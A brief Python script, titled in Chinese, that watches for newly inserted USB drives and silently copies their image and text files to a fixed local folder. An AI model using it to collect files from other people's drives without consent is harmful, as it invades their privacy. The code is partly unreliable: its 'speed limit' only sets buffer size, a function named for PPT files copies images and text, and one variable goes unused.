使用Python实现USB自动复制文件

import psutil

def get_disk_drives():
    disk_partitions = psutil.disk_partitions(all=False)
    drives = [partition.device.upper() for partition in disk_partitions if partition.fstype != "" and "removable" in partition.opts]
    return drives

import os
import shutil

def copy_ppt_files(source_folder, destination_folder, speed_limit_kb):
    for root, dirs, files in os.walk(source_folder):
        for file in files:
            if file.endswith((".jpg", ".png", ".txt")):
                src_file = os.path.join(root, file)
                dst_file = os.path.join(destination_folder, os.path.relpath(src_file, source_folder))
                os.makedirs(os.path.dirname(dst_file), exist_ok=True)
                with open(src_file, 'rb') as fsrc:
                    with open(dst_file, 'wb') as fdst:
                        shutil.copyfileobj(fsrc, fdst, length=speed_limit_kb * 1024)

import time

def check_for_new_drive(speed_limit_kb=10240):
    drives = get_disk_drives()
    new_drives = [drive for drive in drives if drive not in known_drives]
    for new_drive in new_drives:
        known_drives.append(new_drive)
        print(f"New drive detected: {new_drive}")
        time.sleep(3)  # 等待3秒后再开始拷贝
        copy_ppt_files(new_drive, destination_drive, speed_limit_kb)

if __name__ == "__main__":
    known_drives = []
    excluded_drives = [drive + ':' for drive in "ABCDEFGHIJKLMNOPQRSTUVWXYZ"]
    destination_drive = "H://u盘"  # 目标路径
    if not os.path.exists(destination_drive):
        os.makedirs(destination_drive)
    while True:
        check_for_new_drive()
        time.sleep(60)  # 每隔60秒检查一次